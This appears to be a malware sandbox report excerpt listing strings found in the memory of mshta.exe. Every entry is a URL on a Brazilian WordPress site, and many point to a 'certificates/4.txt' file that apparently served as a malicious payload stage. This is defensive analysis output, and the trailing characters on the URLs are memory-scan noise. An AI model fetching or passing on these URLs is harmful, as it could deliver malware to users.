Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.css.9.20b
Source: mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.css6
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.cssK
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.cssX
Source: mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.csse
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.cssy
Source: mshta.exe, 0000000A.00000003.403877946.0000000007655000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.548453703.0000000007655000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework2
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386088242.000000000714D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544798464.00000000070BA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545468854.000000000714D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332768718.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537609183.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542301085.0000000006B1C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387290673.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css
Source: mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.css
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.css)
Source: mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssnC:
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssq
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico
Source: mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg
Source: mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg%
Source: mshta.exe, 0000000A.00000002.545850187.0000000007190000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg)
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544798464.00000000070BA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg);
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg.0=1.0
Source: mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpgU
Source: mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpgY
Source: mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpgd
Source: mshta.exe, 0000000A.00000002.542148707.0000000006B07000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0
Source: mshta.exe, 0000000A.00000002.542148707.0000000006B07000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0%
Source: mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0.js?ver=5.0.33.0.6
Source: mshta.exe, 0000000A.00000002.542148707.0000000006B07000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0G
Source: mshta.exe, 0000000A.00000002.542148707.0000000006B07000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0R
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386140675.0000000006B47000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542301085.0000000006B1C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545850187.0000000007190000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0
Source: mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0)
Source: mshta.exe, 0000000A.00000002.545850187.0000000007190000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0DT
Source: mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0g
Source: mshta.exe, 0000000A.00000002.542301085.0000000006B1C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0udes/certificates/4
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.33.0.68S
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3h
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386140675.0000000006B47000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545850187.0000000007190000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.00
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.00.0T
Source: mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.01LMEM
Source: mshta.exe, 0000000A.00000002.545850187.0000000007190000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0JVG
Source: mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0M
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0dows
Source: mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0h
Source: mshta.exe, 0000000A.00000003.403877946.0000000007655000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.548453703.0000000007655000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0http://facextrade.
Source: mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0s
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.css
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.cssC:
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.cssF
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.cssK
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.cssS
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.cssets/css/logo-slider-wp-public.cs
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.cssw
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332768718.000000000353C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/style.css
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/style.css3
Source: mshta.exe, 0000000A.00000003.332658393.00000000034E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387469878.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.536752026.00000000034E4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/style.cssdz
Source: mshta.exe, 0000000A.00000002.550469838.0000000008070000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253NatKp$X
Source: mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themesy
Source: mshta.exe, 0000000A.00000003.332658393.00000000034E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542517709.0000000006B39000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png
Source: mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png.3v
Source: mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png0
Source: mshta.exe, 0000000A.00000002.542301085.0000000006B1C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.pngjs
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.pngn.js
Source: mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.pngsY
Source: mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/fah
Source: mshta.exe, 0000000A.00000003.332911696.00000000070C3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544849702.00000000070C2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387051343.00000000070C1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/CherryFramework/style.css
Source: mshta.exe, 0000000A.00000003.332044641.0000000006B47000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt
Source: mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542148707.0000000006B07000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#
Source: mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#2
Source: mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#bz
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#mD9
Source: mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#rz
Source: mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#top
Source: mshta.exe, 0000000A.00000002.536259584.00000000034C2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt$
Source: mshta.exe, 0000000A.00000003.386140675.0000000006B47000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt)y
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt...
Source: mshta.exe, 0000000A.00000003.332658393.00000000034E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387469878.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.536752026.00000000034E4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt...t
Source: mshta.exe, 0000000A.00000003.332044641.0000000006B47000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt0y
Source: mshta.exe, 0000000A.00000002.542148707.0000000006B07000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt4
Source: mshta.exe, 0000000A.00000002.542148707.0000000006B07000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt5
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt5j
Source: mshta.exe, 0000000A.00000003.386140675.0000000006B47000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt:
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332658393.00000000034E3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt;
Source: mshta.exe, 0000000A.00000002.538770811.0000000003880000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtDATA=C
Source: mshta.exe, 0000000A.00000002.536259584.00000000034C2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtDP.DLL
Source: mshta.exe, 0000000A.00000002.542148707.0000000006B07000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtE
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtL
Source: mshta.exe, 0000000A.00000003.332044641.0000000006B47000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtO
Source: mshta.exe, 0000000A.00000003.332658393.00000000034E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387469878.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.536752026.00000000034E4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtPt
Source: mshta.exe, 0000000A.00000003.332044641.0000000006B47000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtR
Source: mshta.exe, 0000000A.00000002.542148707.0000000006B07000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtV
Source: mshta.exe, 0000000A.00000002.535529252.0000000003310000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtWinSta0
Source: mshta.exe, 0000000A.00000002.536259584.00000000034C2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtes
Source: mshta.exe, 0000000A.00000002.542148707.0000000006B07000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtg
Source: mshta.exe, 0000000A.00000002.542148707.0000000006B07000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txth
Source: mshta.exe, 0000000A.00000003.397952069.00000000083C6000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.547963442.00000000073F3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.398499086.00000000083C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.553495923.00000000083C9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txthttp://facextrade.com.br/wp-includes/certific
Source: mshta.exe, 0000000A.00000003.387458814.00000000034E0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.536687580.00000000034E1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txti
Source: mshta.exe, 0000000A.00000003.332658393.00000000034E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387469878.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.536752026.00000000034E4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtkk
